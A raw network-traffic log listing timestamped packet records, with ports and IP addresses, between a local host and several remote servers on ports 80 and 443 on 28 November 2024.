Nov 28, 2024 08:55:50.798880100 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.798887014 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.798913002 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.798933029 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.798942089 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.798973083 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.798989058 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.799020052 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.799088955 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.838871956 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.838881016 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.838910103 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.839143991 CET	49795	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.839160919 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.839234114 CET	49795	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.851789951 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.852622032 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.852704048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.852730989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.852771044 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.853266954 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.853327990 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.853414059 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.853480101 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.854161024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.854209900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.854239941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.854286909 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.855098963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.855176926 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.855200052 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.855245113 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.856152058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.856201887 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.856210947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.856247902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.857290030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.857331038 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.857364893 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.857381105 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.858392954 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.858450890 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.858478069 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.858525991 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.859411955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.859493017 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.859517097 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.859556913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.860521078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.860568047 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.860619068 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.860656977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.861572027 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.861586094 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.861632109 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.862632990 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.862696886 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.862710953 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.862751007 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.863692045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.863754034 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.863775969 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.863882065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.864787102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.864837885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.864856958 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.864903927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.865852118 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.865916014 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.865936995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.865988016 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.866929054 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.866991043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.867075920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.867134094 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.868037939 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.868087053 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.868195057 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.868247986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.869110107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.869162083 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.869240046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.869277954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.879270077 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.882966042 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.883080006 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.883089066 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.886521101 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.886539936 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.886646032 CET	49795	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.886658907 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.886702061 CET	49795	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.892651081 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.892709970 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.892719030 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.899842024 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.899914980 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.899921894 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.906805992 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.906867981 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.906874895 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.914449930 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.914519072 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.914525986 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.928113937 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.928169012 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.928175926 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.935208082 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.935338020 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.935339928 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.935348988 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.935384989 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.938204050 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.938276052 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.938344955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.938385963 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.938612938 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.938632965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.938673973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.939460993 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.939769030 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.939851999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.939888000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.939930916 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.940310955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.940438986 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.940479994 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.941133022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.941179037 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.941241026 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.941281080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.941952944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.941992998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.942013979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.942081928 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.942789078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.942831993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.943500996 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.943546057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.943628073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.943639994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.943680048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.944525003 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.944564104 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.944591045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.944611073 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.944616079 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.944637060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.944678068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.945328951 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.945379019 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.945420980 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.946170092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.946181059 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.946225882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.946957111 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.947001934 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.947829008 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.947840929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.947871923 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.947896004 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.947907925 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.947920084 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.948642015 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.948730946 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.948991060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.949037075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.949232101 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.949428082 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.949433088 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.949476004 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.949517012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.950273991 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.950342894 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.950351954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.950361013 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.950378895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.950402975 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.951123953 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.951176882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.951185942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.951220036 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.951960087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.952006102 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.952404976 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.952450037 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.952794075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.952840090 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.953181028 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.953238964 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.953677893 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.953697920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.953732967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.953748941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.953924894 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.953975916 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.953980923 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.954502106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.954546928 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.954864979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.955061913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.955358982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.955394030 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.955430984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.956157923 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.956229925 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.956643105 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.956697941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.957047939 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.957082987 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.957108021 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.957117081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.957947016 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.957959890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.957999945 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.958019972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.959412098 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.959424973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.959464073 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.960369110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.960380077 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.960392952 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.960422039 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.960444927 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.960457087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.960796118 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.961169958 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.961266041 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.961616039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.961671114 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.962009907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.962050915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.962065935 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.962096930 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.962812901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.962889910 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.962918997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.962960005 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.963258028 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.963289976 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.963320971 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.963329077 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.963417053 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.963722944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.963736057 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.963776112 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.964478970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.964550972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.965012074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.965061903 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.965327024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.965373993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.966197014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.966207981 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.966247082 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.966264963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.966310978 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.967011929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.967061996 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.967246056 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.967298031 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.967926979 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.970479012 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:50.970575094 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:50.972547054 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.972608089 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.972616911 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.972635031 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.972812891 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.977221012 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.996037960 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.996049881 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.996085882 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.996164083 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.996164083 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.996184111 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:50.996251106 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:50.999094963 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:50.999161005 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:50.999167919 CET	443	49796	142.250.65.193	192.168.2.8
Nov 28, 2024 08:55:51.011471987 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.011491060 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.011554003 CET	49795	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.011568069 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.011676073 CET	49795	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.024256945 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.024316072 CET	49795	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.024333000 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.024344921 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.024418116 CET	49795	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.025027990 CET	49795	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.025039911 CET	443	49795	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.040481091 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.040503979 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.040632010 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.040661097 CET	443	49794	13.107.246.63	192.168.2.8
Nov 28, 2024 08:55:51.040735006 CET	49794	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:55:51.044864893 CET	49796	443	192.168.2.8	142.250.65.193
Nov 28, 2024 08:55:51.063304901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.063395977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.063483000 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.063529015 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.063694954 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.063743114 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.063769102 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.063867092 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.064529896 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.064601898 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.065171003 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.065217972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.065347910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.065388918 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.066000938 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.066068888 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.066190958 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.066359043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.066421032 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.066472054 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.067019939 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.067080975 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.067619085 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.067672014 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.067841053 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.067883015 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.068556070 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.068609953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.068758011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.068770885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.068830967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.069530010 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.069606066 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.070059061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.070106030 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.070426941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.070470095 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.070588112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.070631981 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.071190119 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:51.071239948 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:51.071415901 CET	80	49748	185.215.113.206	192.168.2.8
